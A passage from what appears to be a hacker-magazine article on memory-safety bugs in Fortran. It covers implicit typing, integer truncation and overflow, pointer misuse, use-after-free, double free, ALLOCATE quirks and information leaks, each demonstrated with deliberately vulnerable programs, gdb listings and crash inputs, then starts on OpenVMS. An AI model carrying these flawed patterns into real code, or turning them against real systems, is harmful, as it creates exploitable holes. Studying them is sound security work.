A = 0
|
|
B = 0
|
|
CALL set(B) [L2]
|
|
write(*,*) 'A=',A,'B=',B
|
|
END PROGRAM
|
|
$ gfortran implicit_typing1.f90
|
|
$ ./a.out
|
|
How much do u want to read dude ?
|
|
1094795585 [L4]
|
|
A= 65 B= 65 [L5]
|
|
$
|
|
-----END IMPLICIT TYPE 1-----
|
|
|
|
A, B are declared INTEGERS in the range [-128,+127] [L1] and initialized.
|
|
B is then passed by reference to the set() subroutine [L2] where it gets
|
|
affected a new value [L3]. If the user supplies a large enough integer [L4]
|
|
then B is corrupted [L5]. What happened?
|
|
|
|
Well the heart of this corruption lies in the implicit typing associated
|
|
with the implicit declaration. Here is what can be read from the official
|
|
documentation [R2]:
|
|
|
|
---
|
|
Chap 5.3 - IMPLICIT
|
|
|
|
|
|
"In each scoping unit, there is a mapping, which may be null, between each
|
|
of the letters A, B, ..., Z and a type (and type parameters). An IMPLICIT
|
|
statement specifies the mapping for the letters in its letter-spec-list.
|
|
IMPLICIT NONE specifies the null mapping for all the letters. If a mapping
|
|
is not specified for a letter, the default for a program unit or an
|
|
interface body is default integer if the letter is I, J, ..., or N and
|
|
default real otherwise, and the default for an internal or module procedure
|
|
is the mapping in the host scoping unit."
|
|
---
|
|
|
|
So not declaring I in the set() subroutine had the effect of declaring it
|
|
as an integer which means INTEGER(4) by default (thus 4 bytes allocated).
|
|
So cool. Do not forget that we're passing arguments by reference! Yes I
|
|
know, I'm repeating myself. Probably because of my Alzheimer you know.
|
|
|
|
Anyway, It's really easy to watch it
|
|
|
|
-----BEGIN IMPLICIT TYPE 2-----
|
|
(gdb) disassemble MAIN__
|
|
[...]
|
|
0x080486c1 <+17>: lea esi,[ebp-0xa] ; esi=&B
|
|
[...]
|
|
0x080486d8 <+40>: mov DWORD PTR [esp],esi
|
|
0x080486db <+43>: mov BYTE PTR [ebp-0x9],0x0 ; A=0
|
|
0x080486df <+47>: mov BYTE PTR [ebp-0xa],0x0 ; B=0
|
|
0x080486e3 <+51>: call 0x8048790 <set_> ; set(&B)
|
|
(gdb) disassemble set_
|
|
[...]
|
|
0x08048826 <+150>: mov eax,DWORD PTR [ebp+0x8] ; eax=&B
|
|
0x08048829 <+153>: mov DWORD PTR [esp],ebx
|
|
0x0804882c <+156>: mov DWORD PTR [esp+0x8],0x4
|
|
0x08048834 <+164>: mov DWORD PTR [esp+0x4],eax
|
|
0x08048838 <+168>: call 0x8048594 [...] ; read(&B,4)
|
|
[...]
|
|
(gdb) b *0x080486e3
|
|
Breakpoint 1 at 0x80486e3
|
|
(gdb) r
|
|
[...]
|
|
Breakpoint 1, 0x080486e3 in MAIN__ ()
|
|
(gdb) x /x $ebp-0xa
|
|
0xbffff42e: 0xf5140000
|
|
(gdb) x /x $ebp-0xa+2
|
|
0xbffff430: 0xbffff514 <-- A pointer is stored right after B
|
|
(gdb) nexti
|
|
How much do u want to read dude ?
|
|
1094795585
|
|
0x080486e8 in MAIN__ ()
|
|
(gdb) x /x $ebp-0xa
|
|
0xbffff42e: 0x41414141 <-- We are controling &B[0] up to
|
|
&B[3]
|
|
(gdb) x /x $ebp-0xa+2
|
|
0xbffff430: 0xbfff4141 <-- The pointer is corrupted. Our win.
|
|
[...]
|
|
-----END IMPLICIT TYPE 2-----
|
|
|
|
As expected we wrote 4 bytes in a 1-byte buffer overwriting both 'B' and
|
|
the 2 lowest bytes of a pointer with arbitrary values.
|
|
|
|
|
|
---[ 3.2 - The number-related issues
|
|
|
|
In C language, there exists three types of integer related bugs [R6]:
|
|
1. Signedness bugs
|
|
2. Truncation bugs
|
|
3. Integer underflow/overflow bugs
|
|
|
|
What about in Fortran?
|
|
|
|
*) This first class of bugs is quite unlikely as the primary component
|
|
is missing. Indeed the 'unsigned' concept does not exist in Fortran
|
|
which means that there is (as far as I can see) almost no way to
|
|
mistakenly interpret a negative number (integer/real) as a larger
|
|
than expected positive one.
|
|
|
|
However what would appen if we were to call a function in another
|
|
language defining unsigned numbers like C? Then an integer overflow
|
|
_could_ happen if the argument was casted. This particular situation
|
|
is illustrated in Chap 4.
|
|
|
|
*) A truncation bug (may) occur when an integer variable is copied into
|
|
a smaller one. For example, in C copying an int (4 bytes) into a
|
|
short (2 bytes) which is possible in Fortran.
|
|
|
|
Practically speaking such a bug usually occurs when an INTEGER is
|
|
passed as an argument to a function/procedure which declares its type
|
|
'smaller' than it actually is.
|
|
|
|
-----BEGIN TRUNCATE 1-----
|
|
$ cat truncate3.f90
|
|
LOGICAL FUNCTION IsGood(L)
|
|
INTEGER(1) :: L
|
|
IsGood = .TRUE.
|
|
write(*,*) 'IsGood: size is ', L
|
|
IF (L > 10) THEN
|
|
write(*,*) 'Way too long man', L
|
|
IsGood = .FALSE.
|
|
RETURN
|
|
END IF
|
|
END FUNCTION
|
|
|
|
PROGRAM truncate3
|
|
IMPLICIT NONE
|
|
INTEGER(4) :: l
|
|
CHARACTER(2000) :: str
|
|
LOGICAL :: IsGood
|
|
write(*,*) 'Give me the damn string ...'
|
|
read(*,*) str
|
|
l = len_trim(str)
|
|
write(*,*) 'MAIN_: size is ', l
|
|
IF (IsGood(l) .EQV. .TRUE.) THEN
|
|
write(*,*) 'Copying bytes ... :)'
|
|
END IF
|
|
END PROGRAM
|
|
$ gfortran truncate3.f90
|
|
$ ./a.out
|
|
Give me the damn string ...
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
MAIN_: size is 38
|
|
IsGood: size is 38
|
|
Way too long man 38
|
|
$ ./a.out
|
|
Give me the damn string ...
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
MAIN_: size is 520
|
|
IsGood: size is 8
|
|
Copying bytes ... :)
|
|
$
|
|
-----END TRUNCATE 1-----
|
|
|
|
In IsGood(), L is declared as an INTEGER(1). To respect the type, the
|
|
parameter has to be reduced modulo 256 hence the result (520 & 0xFF
|
|
= 8).
|
|
|
|
This is _not_ the only situation involving this type of bug. For
|
|
example, consider the following situation:
|
|
|
|
-----BEGIN TRUNCATE 2-----
|
|
$ cat truncate2.f90
|
|
PROGRAM truncate2
|
|
IMPLICIT NONE
|
|
|
|
INTEGER(1) :: l
|
|
CHARACTER(255) :: str
|
|
CHARACTER(10) :: foo
|
|
|
|
write(*,*) 'Give me the damn string ...'
|
|
read(*,*) str
|
|
write(*,*) 'Real string size is ', len_trim(str)
|
|
|
|
l = len_trim(str) ! *BUG* *BUG* *BUG*
|
|
IF (l > 10) THEN
|
|
write(*,*) 'Way too long man', l
|
|
STOP
|
|
END IF
|
|
write(*,*) 'Copying bytes'
|
|
|
|
! Insecure copy(foo, str)
|
|
[...]
|
|
END PROGRAM
|
|
$ gfortran truncate2.f90
|
|
$ ./a.out
|
|
Give me the damn string ...
|
|
AAAAAAAAAAAAAAAAAA
|
|
Real string size is 18
|
|
Way too long man 18
|
|
$ ./a.out
|
|
Give me the damn string ...
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
Real string size is 180
|
|
Copying bytes
|
|
-----END TRUNCATE 2-----
|
|
|
|
In this situation, the programmer made a mistake involving the
|
|
prototype the len_trim() function (provided by the Fortran API). [R2]
|
|
specifies that the result returned by the function should be a
|
|
'default integer' (which means INTEGER(4)) hence the previous bug.
|
|
|
|
*) Whenever a language limits the amount of memory allocated for numbers
|
|
(generally because of hardware constraints), a number under/overflow
|
|
is always possible and is _normal_. However not handling this
|
|
situation _is_ a bug.
|
|
|
|
Fortran makes no exception as storage is clearly defined:
|
|
|
|
-----BEGIN INT OVERFLOW 1-----
|
|
$ cat arithmetic.f90
|
|
[...]
|
|
INTEGER(1) :: N1, N2
|
|
|
|
write(*,*) 'Give me a number (-128, +127) :'
|
|
read(*,*) N1
|
|
N2 = N1 * 16
|
|
write(*,*) 'N * 16 = ', N1*16, ' or ', N2
|
|
[...]
|
|
$ gfortran arithmetic.f90
|
|
$ ./a.out
|
|
Give me a number (-128, +127) :
|
|
5
|
|
N * 16 = 80 or 80
|
|
$ ./a.out
|
|
Give me a number (-128, +127) :
|
|
12
|
|
N * 16 = 192 or -64 <-- Oops :)
|
|
$ ./a.out
|
|
Give me a number (-128, +127) :
|
|
18
|
|
N * 16 = 288 or 32 <-- Oops (bis) :)
|
|
-----END INT OVERFLOW 1-----
|
|
|
|
Is that all? Not quite son. When auditing the use of numbers in C code,
|
|
you're usually focused on integers (char, int, long, long long) and that
|
|
would essentially be for two reasons:
|
|
|
|
*) Floats and double are rarely present in C code or to be fair, usually
|
|
not in common 'audited' software. Of course there are a few notable
|
|
exceptions, just use your imagination to find out which ones :)
|
|
|
|
*) Floats are usually _not_ related to copy or allocation operations. In
|
|
C, integers might be used as index, offsets, quantities or even sizes
|
|
and as such their abuse 'could' induce a memory corruption. There is
|
|
almost no such danger with floats.
|
|
|
|
Now consider that things are a little bit different with Fortran. As I told
|
|
you previously Fortran is a math oriented programming language. As such
|
|
REAL, and COMPLEX types are really common not to mention the fact that the
|
|
language itself provides some nice intrinsic functions to play with. This
|
|
itself is sufficient to increase the probability of float-related bug in
|
|
real life.
|
|
|
|
Here is a short example of what could happen:
|
|
|
|
-----BEGIN REAL OVERFLOW 1-----
|
|
$ cat float1.f
|
|
PROGRAM float1
|
|
REAL :: a, b, x
|
|
a = 9.7E-30
|
|
b = -3.9E-30
|
|
x = a * b
|
|
write(*,*) 'x = a*b = ',x
|
|
END PROGRAM
|
|
$ gfortran ./float1.f
|
|
$ ./a.out
|
|
x = a*b = -0.0000000
|
|
-----END REAL OVERFLOW 1-----
|
|
|
|
Interesting isn't it? The behavior of REAL is what is described in the
|
|
IEEE-754. As a result, a REAL (float) underflow occurs when a and b are
|
|
multiplied. This ultimately results in x taking the value 0 because of the
|
|
underflow. The program is not able to detect it on runtime whereas an
|
|
exception could/should have been generated. I won't say more about that,
|
|
now use your brain/imagination/drug to go further ;-)
|
|
|
|
|
|
---[ 3.3 - The POINTER abuse
|
|
|
|
While the concept of pointer is somewhat universal, implementations and
|
|
intrinsic limits of this object may completely vary from a language to
|
|
another. For example, while in C you have direct access to the memory, in
|
|
Fortran you don't (at least directly). But you still have a powerful
|
|
pointer arithmetic and frankly speaking, that's all needs the programmer to
|
|
introduce bugs ;-). Now let's talk about the POINTER.
|
|
|
|
Note: The POINTER is F90 & later specific but you might find pointers in a
|
|
few F77 programs which use 'Cray Pointers' [R10].
|
|
|
|
Introduction to POINTER
|
|
-----------------------
|
|
|
|
In Fortran, a pointer is not a data type but rather a type parameter and
|
|
must be associated with an object of the same type to read/modify it.
|
|
|
|
Here is a short self-explaining example:
|
|
|
|
-----BEGIN POINTER 1-----
|
|
$ cat pointer1.f90
|
|
PROGRAM pointer1
|
|
INTEGER, TARGET :: a
|
|
INTEGER, POINTER :: p_a
|
|
p_a => a ! p_a = &a
|
|
p_a = 1 ! *p_a = 1
|
|
write(*,*) a
|
|
a = 2
|
|
write(*,*) p_a ! printf("%d",*p_a)
|
|
END PROGRAM
|
|
$ gfortran pointer1.f90
|
|
$ ./a.out
|
|
1
|
|
2
|
|
-----END POINTER 1-----
|
|
|
|
Note that the TARGET parameter is mandatory. Now let's see a more complete
|
|
example:
|
|
|
|
-----BEGIN POINTER 2-----
|
|
$ cat pointer2.f90
|
|
PROGRAM pointer2
|
|
INTEGER, POINTER :: p_a(:)
|
|
INTEGER, POINTER, DIMENSION(:) :: p_b
|
|
INTEGER, ALLOCATABLE :: c(:)
|
|
INTEGER, POINTER :: X(:)
|
|
ALLOCATE(p_a(5)); p_a = 5
|
|
ALLOCATE(p_b(4)); p_b = 4
|
|
ALLOCATE(c(3)); c = 3
|
|
X => p_a
|
|
X(3) = 0
|
|
write(*,*) p_a
|
|
write(*,*) p_b
|
|
write(*,*) c
|
|
DEALLOCATE(p_a)
|
|
DEALLOCATE(p_b)
|
|
DEALLOCATE(c)
|
|
END PROGRAM
|
|
$ gfortran pointer2.f90
|
|
$ ./a.out
|
|
5 5 0 5 5
|
|
4 4 4 4
|
|
3 3 3
|
|
-----END POINTER 2-----
|
|
|
|
*) 'p_a' is an integer array pointer.
|
|
|
|
*) 'p_b' and 'p_a' are the same kind of object despite the syntax being
|
|
slightly different (but equivalent in the end).
|
|
|
|
*) 'c' is an array whose size is still unknown. The ALLOCATABLE
|
|
parameter specifies that memory will be requested before any use.
|
|
This is a dynamically allocated array.
|
|
|
|
*) ALLOCATE() is the intrinsic function responsible of the allocation.
|
|
(and yes its calling syntax is _shit_ but let's deal with it)
|
|
|
|
*) DEALLOCATE() will free previously requested memory.
|
|
|
|
The link between ALLOCATE() and the libc allocator is easy to see:
|
|
|
|
------------------------------------------------------
|
|
$ ltrace -e malloc,free ./a.out
|
|
malloc(20) = 0x087009a0
|
|
malloc(16) = 0x087009b8
|
|
malloc(12) = 0x087009d0
|
|
5 5 0 5 5
|
|
4 4 4 4
|
|
3 3 3
|
|
free(0x087009a0) = <void>
|
|
free(0x087009b8) = <void>
|
|
free(0x087009d0) = <void>
|
|
------------------------------------------------------
|
|
|
|
This alone is sufficient to prove that malloc (respectively free) and
|
|
ALLOCATE (respectively DEALLOCATE) are 'almost' the same. The difference
|
|
between both is studied in another subsection.
|
|
|
|
Heap overflows
|
|
--------------
|
|
|
|
A buffer overflow in an ALLOCATEd area _is_ a heap overflow. Such a bug may
|
|
occur if:
|
|
|
|
*) The user is able to manipulate the index used with the array POINTER
|
|
to perform an out of bound operation:
|
|
|
|
------------------------------------------------------
|
|
$ ./bof_array_malloc AAAAAAAAAAAAAAAAAAA
|
|
INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAA [ 20 ]
|
|
ONCE CLEANED :AAAAAAAAAAAAAAAAAAAA
|
|
$ ./bof_array_malloc AAAAAAAAAAAAAAAAAAAA
|
|
INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAAA [ 141 ]
|
|
ONCE CLEANED :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAA
|
|
*** glibc detected *** ./bof_array_malloc: free(): invalid next size [...]
|
|
======= Backtrace: =========
|
|
/lib/tls/i686/cmov/libc.so.6(+0x6b591)[0xb7625591]
|
|
/lib/tls/i686/cmov/libc.so.6(+0x6cde8)[0xb7626de8]
|
|
/lib/tls/i686/cmov/libc.so.6(cfree+0x6d)[0xb7629ecd]
|
|
[...]
|
|
------------------------------------------------------
|
|
|
|
*) The user is able to somehow induce a bug in the allocation either
|
|
exploiting an arithmetic mistake of the behavior of ALLOCATE
|
|
(discussed further).
|
|
|
|
Dangling pointers
|
|
-----------------
|
|
|
|
By default, pointers are undefined when declared. As a result there should
|
|
not be any reference nor manipulation of these objects until their
|
|
association. The unfamiliar programmer might be tempted to use the
|
|
ASSOCIATED() intrinsic function for safety purpose which (un)fortunately is
|
|
a mistake:
|
|
|
|
-----BEGIN POINTER 3-----
|
|
$ cat pointer3.f90
|
|
PROGRAM pointer1
|
|
INTEGER, TARGET :: a
|
|
INTEGER, POINTER :: p_a
|
|
write(*,*) associated(p_a)
|
|
nullify(p_a)
|
|
write(*,*) associated(p_a)
|
|
p_a => a
|
|
write(*,*) associated(p_a)
|
|
END PROGRAM
|
|
$ gfortran pointer3.f90
|
|
$ ./a.out
|
|
T <-- *WRONG* :)
|
|
F <-- Right
|
|
T <-- Right
|
|
-----END POINTER 3-----
|
|
|
|
*) p_a is declared and 'undefined' by default.
|
|
|
|
*) associated() falsely reports that p_a is associated.
|
|
|
|
*) Since the pointer is associated, the programmer can perform
|
|
operations and a memory corruption is very likely to appear.
|
|
|
|
Let's try to understand what's happening:
|
|
|
|
------------------------------------------------------
|
|
(gdb) disass MAIN__
|
|
Dump of assembler code for function MAIN__:
|
|
0x080485d4 <+0>: push ebp
|
|
0x080485d5 <+1>: mov ebp,esp
|
|
0x080485d7 <+3>: sub esp,0x188
|
|
0x080485dd <+9>: mov DWORD PTR [esp+0x4],0x80488a0
|
|
0x080485e5 <+17>: mov DWORD PTR [esp],0x8
|
|
0x080485ec <+24>: call 0x80484c4 <_gfortran_set_options@plt>
|
|
0x080485f1 <+29>: mov DWORD PTR [ebp-0x168],0x8048880
|
|
0x080485fb <+39>: mov DWORD PTR [ebp-0x164],0x4
|
|
0x08048605 <+49>: mov DWORD PTR [ebp-0x170],0x80
|
|
0x0804860f <+59>: mov DWORD PTR [ebp-0x16c],0x6
|
|
0x08048619 <+69>: lea eax,[ebp-0x170]
|
|
0x0804861f <+75>: mov DWORD PTR [esp],eax
|
|
0x08048622 <+78>: call 0x80484e4 <_gfortran_st_write@plt>
|
|
0x08048627 <+83>: cmp DWORD PTR [ebp-0xc],0x0 ; p_a == 0 ?
|
|
0x0804862b <+87>: setne al ; al = ~(p_a == 0)
|
|
0x0804862e <+90>: movzx eax,al ; eax = al
|
|
------------------------------------------------------
|
|
|
|
OK OK easy. First p_a is read on the stack then its value is compared with
|
|
0 (NULL). If p_a is not zero then it's supposed associated (ah ah). However
|
|
since the local variable is uninitialized, it could take any value and in
|
|
our case some stack address thereby explaining the bug.
|
|
|
|
Now more interesting. If operations are performed using p_a on the base of
|
|
the result returned by associated() then an invalid memory dereference may
|
|
occur and depending on whether we can control this address or nor it might
|
|
end up either as a 'Segmentation Fault' or as a perfectly controlled
|
|
arbitrary memory write. I discovered this really interesting issue reading
|
|
a cool website [R7] which details a few other interesting issues that won't
|
|
be discussed in this paper.
|
|
|
|
Use-after-free bugs
|
|
-------------------
|
|
|
|
Does the compiler keep track of POINTER object? Will it prevent the
|
|
programmer from misusing them? Let's write an example once more:
|
|
|
|
-----BEGIN POINTER 4-----
|
|
$ cat pointer4.f90
|
|
PROGRAM pointer4
|
|
INTEGER, POINTER :: p1(:)
|
|
INTEGER, POINTER :: p2(:)
|
|
ALLOCATE(p1(10))
|
|
p2 => p1
|
|
p2 = 2
|
|
DEALLOCATE(p1)
|
|
p2 = 3 ! REALLY bad :(
|
|
END PROGRAM
|
|
$ gfortran pointer4.f90 -O3
|
|
$ gdb ./a.out
|
|
[...]
|
|
(gdb) disassemble MAIN__
|
|
[...]
|
|
0x080485cb <+27>: mov DWORD PTR [esp],0x28
|
|
0x080485d2 <+34>: call 0x80484cc <malloc@plt>
|
|
0x080485d7 <+39>: test eax,eax
|
|
0x080485d9 <+41>: mov ebx,eax ; p2 => p1
|
|
0x080485db <+43>: je 0x8048679 <MAIN__+201>
|
|
0x080485e1 <+49>: mov DWORD PTR [eax],0x2
|
|
[...]
|
|
0x08048626 <+118>: mov DWORD PTR [esp],eax
|
|
0x08048629 <+121>: call 0x804849c <free@plt>
|
|
0x0804862e <+126>: mov DWORD PTR [ebx],0x3 ; BUG!!!
|
|
[...]
|
|
-----END POINTER 4-----
|
|
|
|
So not only does the compiler nothing but still the bug is really there. Oh
|
|
man Fortran is just like C after all :) With that in mind, it's rather
|
|
obvious that doublefree() are possible and indeed they are:
|
|
|
|
-----BEGIN DFREE 1-----
|
|
$ cat double_free.f90
|
|
SUBROUTINE check(x,L)
|
|
CHARACTER, TARGET :: x(L)
|
|
CHARACTER, POINTER :: p(:)
|
|
INTEGER I
|
|
p => x
|
|
DO I=1,L
|
|
IF (ichar(p(I)) .lt. ichar('A')) THEN
|
|
goto 100
|
|
END IF
|
|
IF (ichar(p(I)) .gt. ichar('Z')) THEN
|
|
goto 100
|
|
END IF
|
|
END DO
|
|
RETURN
|
|
|
|
100 write(*,*) '[-] Warning argument is fucked !!!'
|
|
DEALLOCATE(p) ! If the argument has an invalid character
|
|
! then it's free()ed.
|
|
END SUBROUTINE
|
|
|
|
PROGRAM double_free
|
|
[...]
|
|
call check(q,realsize)
|
|
write(*,*) '[+] First argument is ', q
|
|
deallocate(q) ! Second free()
|
|
[...]
|
|
$ ./double_free ACAAAAAAZ
|
|
[+] First argument is ACAAAAAAZ
|
|
$ ./double_free ACAAAAAAZ-
|
|
[-] Warning argument is fucked !!!
|
|
[+] First argument is AAAAZ-
|
|
*** glibc detected *** ./double_free: double free or [...]
|
|
[...]
|
|
-----END DFREE 1-----
|
|
|
|
The shit behind ALLOCATE()
|
|
---------------------------
|
|
|
|
We all know that in C allocation of a user supplied size can be dangerous
|
|
if not well handled as it can have side effects. Common problems include
|
|
too large request which would ultimately result in a NULL being returned or
|
|
integer overflows in the calculus of the size.
|
|
|
|
Since ALLOCATE() is no more than a wrapper of malloc() all of these
|
|
problems can occur. However there is an even more vicious one. Let's play a
|
|
little bit:
|
|
|
|
-----BEGIN ALLOCATE-----
|
|
$ cat allocate.f90
|
|
PROGRAM allocate1
|
|
IMPLICIT NONE
|
|
|
|
INTEGER(1) :: M1
|
|
CHARACTER, DIMENSION(:), ALLOCATABLE :: C
|
|
|
|
write(*,*) 'How much objects should I allocate ?'
|
|
read(*,*) M1
|
|
ALLOCATE(C(M1))
|
|
|
|
END PROGRAM
|
|
$ gfortran allocate.f90
|
|
$ ltrace -e malloc ./a.out
|
|
How much objects should I allocate ?
|
|
16
|
|
malloc(16) <-- Ok = 0x09eed9a0
|
|
+++ exited (status 0) +++
|
|
$ ltrace -e malloc ./a.out
|
|
How much objects should I allocate ?
|
|
0
|
|
malloc(1) <-- WTF ??? = 0x082a69a0
|
|
+++ exited (status 0) +++
|
|
$ ltrace -e malloc ./a.out
|
|
How much objects should I allocate ?
|
|
-20
|
|
malloc(1) <-- WTF (again) ??? = 0x089e99a0
|
|
+++ exited (status 0) +++
|
|
-----END ALLOCATE-----
|
|
|
|
Wait, something is weird. Why is there a malloc(1)??? A short look at GDB
|
|
and we have the following dead listing:
|
|
|
|
------------------------------------------------------
|
|
0x080487fa <+170>: lea eax,[ebp-0x9] ; eax = &M1
|
|
0x080487fd <+173>: mov DWORD PTR [esp+0x4],eax
|
|
0x08048801 <+177>: mov DWORD PTR [esp+0x8],0x1
|
|
0x08048809 <+185>: mov DWORD PTR [esp],ebx
|
|
0x0804880c <+188>: call 0x804862c <_gfortran_transfer_integer@plt>
|
|
; read(stdin, &M1, 1)
|
|
[...]
|
|
0x08048819 <+201>: movzx edx,BYTE PTR [ebp-0x9] ; edx = M1
|
|
0x0804881d <+205>: mov eax,0x1 ; eax = 1
|
|
0x08048822 <+210>: test dl,dl
|
|
0x08048824 <+212>: jle 0x8048836 <MAIN__+230> ; if(dl <= 0)
|
|
; malloc(eax)
|
|
0x08048826 <+214>: mov eax,edx
|
|
[...]
|
|
0x08048836 <+230>: mov DWORD PTR [esp],eax
|
|
0x08048839 <+233>: call 0x804865c <malloc@plt>
|
|
[...]
|
|
-------------------------------------------------------
|
|
|
|
So when a null or a negative size is supplied, malloc allocates 1 byte. Why
|
|
such a strange behavior? I must confess that I couldn't find any satisfying
|
|
answer but the most important thing is: if the user can supply a negative
|
|
length then a really tiny allocation is done which is really prone to heap
|
|
corruptions. So nice :)
|
|
|
|
|
|
---[ 3.4 - Other interesting bugs
|
|
|
|
Talking about insecure programming in Fortran would not be complete without
|
|
what's following. Despite not being as important, it might become handy in
|
|
a few situations.
|
|
|
|
Uninitialised data
|
|
------------------
|
|
|
|
The first thing to notice is that it's perfectly legal to use variables
|
|
without properly initializing them:
|
|
|
|
-----BEGIN UNINITIALIZED 1-----
|
|
$ cat uninitialized.f90
|
|
PROGRAM uninitialized
|
|
INTEGER :: I, J, XXXX
|
|
DO I=0,20
|
|
J = J + 1
|
|
END DO
|
|
write(*,*) J, XXXX
|
|
END PROGRAM
|
|
$ gfortran uninitialized.f90
|
|
$ ./a.out
|
|
148818352 -1215630400
|
|
$ ./a.out
|
|
135645616 -1215855680
|
|
-----END UNINITIALIZED 1-----
|
|
|
|
The compiler did not complain whereas J and XXXX were clearly not properly
|
|
set. Thanks to the ASLR we have the proof that there is no default value
|
|
which results in an information leak of the stack.
|
|
|
|
Information leak
|
|
----------------
|
|
|
|
There are a lots of possible situations in which an info leak could occur.
|
|
I've found a couple of them and there are probably even more.
|
|
|
|
*) The (in)direct access to uninitialized data. This situation is the
|
|
direct consequence of what was explained previously.
|
|
|
|
*) As said in Chap 3.1, in a few situations you will be able to control
|
|
the index used to access arrays or strings. Now depending on the
|
|
nature of the access (read or write) you will either have an info
|
|
leak or a memory corruption.
|
|
|
|
The following example is a perfect illustration:
|
|
|
|
-----BEGIN LEAK 1-----
|
|
$ cat leak1.f90
|
|
PROGRAM LEAK
|
|
INTEGER :: C(10)
|
|
C = Z'41414141'
|
|
DO I=0,size(C)-1
|
|
write(*,*) C(I)
|
|
END DO
|
|
END PROGRAM
|
|
$ gfortran leak1.f90
|
|
$ ./a.out
|
|
1 <-- C(0) is out of bounds
|
|
1094795585
|
|
1094795585
|
|
1094795585
|
|
1094795585
|
|
1094795585
|
|
1094795585
|
|
1094795585
|
|
1094795585
|
|
1094795585
|
|
$
|
|
-----END LEAK 1-----
|
|
|
|
*) Something which is sometimes not well understood is the string
|
|
initialization. This could turn to our advantage :)
|
|
|
|
-----BEGIN LEAK 2-----
|
|
$ cat leak2.f90
|
|
PROGRAM leak2
|
|
CHARACTER(len=20) :: S
|
|
S(1:4) ='AAAA'
|
|
write(*,*) S
|
|
END PROGRAM
|
|
$ gfortran leak2.f90
|
|
$ ./a.out
|
|
AAAA.... <-- info leak
|
|
-----END LEAK 2-----
|
|
|
|
The mistake in the previous code was to use an index for
|
|
initialization purpose. Indeed the proper way would be to do:
|
|
S = 'AAAA' which would set the 4 first characters to 'A' and the 16
|
|
remaining to ' ' (the space character as there is no use of '\0' in
|
|
Fortran).
|
|
|
|
Note that Phrack publications are intrinsically not compatible with
|
|
info leaks due to 7bits ASCII constraints. OK OK lame joke, forgive
|
|
me ;-)
|
|
|
|
---
|
|
|
|
---[ 4 - Back to the good ol' OpenVMS friend
|
|
|
|
For the vast majority of post 80s hackers, OpenVMS is without a doubt a
|
|
strange beast. It's not UNIX and the DCL syntax seems insane (in fact it is
|
|
as it could take you a while to figure out how to change the current path).
|
|
But contrary to other old and insanely fucked OS like AIX (hey now you have
|
|
a non exec stack! So _impressive_ ... ), it's an interesting challenge to
|
|
hack it.
|
|
|
|
People may argue that it's also so specific that you might never cross one
|
|
in your lifetime so why choosing it? Hum. Let's say that:
|
|
|
|
*) it's not _that_ rare. Though you may probably not see lots of them on
|
|
the Internet, there are still a plenty of them in production [R8].
|
|
|
|
*) it's one of the few platforms really using Fortran nowadays. UNIX
|
|
itself though useful for teaching purpose is not representative.
|
|
|
|
*) both the OS, the architecture (alpha, itanium), and the compiler (HP)
|
|
are different. A differential will help us to find out the bug
|
|
classes that may be platform dependant.
|
|
|
|
A recent and interesting blackhat presentation gave the first clues about
|
|
how to exploit basic overflows on this OS [R9]. This will not be repeated
|
|
though the special case of heap overflow is detailed in Chap 4.2.
|
|
|
|
Notes:
|
|
|
|
*) I tried as much as possible not to refer to the Alpha asm as it's
|
|
really ugly (and deadlisting are too much verbose unfortunately). The
|
|
readers willing to become familiar with this architecture should read
|
|
the excellent [R12].
|
|
|
|
*) If you want to experiment OpenVMS, I recommend you to play with the
|
|
excellent "Personal Alpha" which is able to run OpenVMS iso. Another
|
|
interesting solution is to play with free shells such as the ones
|
|
provided by the Deathrow OpenVMS cluster (thx guyz btw) [R20].
|
|
|
|
---[ 4.1 - Common Fortran bugs .vs. OpenVMS
|
|
|
|
Let's get straight to the point: almost every type of bugs presented also
|
|
exists with the VMS compiler. However, due to the implementation of the
|
|
language, a few differences exist.
|
|
|
|
Note: The tests were performed on OpenVMS 8.3 (Alpha architecture).
|
|
|
|
The stack overflow case
|
|
-----------------------
|
|
|
|
Let's play with the (slightly modified) 'CAST 2' example:
|
|
|
|
-----BEGIN VMS STACK OV 1-----
|
|
$ type cast2.f90
|
|
SUBROUTINE dump(S)
|
|
CHARACTER(len=20) :: S
|
|
S = 'AAAA'
|
|
write(*,fmt='(A,A)') ' S=',S
|
|
END SUBROUTINE
|
|
PROGRAM cast2
|
|
CHARACTER(len=10) :: X
|
|
X = 'ZZZZZZZZZZZ'
|
|
write(*,fmt='(A,Z10)') '\&X=', %LOC(X)
|
|
CALL dump(X)
|
|
END PROGRAM
|
|
$ fort cast2
|
|
$ lin cast2
|
|
$ r cast2
|
|
&X= 40000 <-- the local buffer is _not_ on the stack
|
|
S=AAAA
|
|
-----END VMS STACK OV 1-----
|
|
|
|
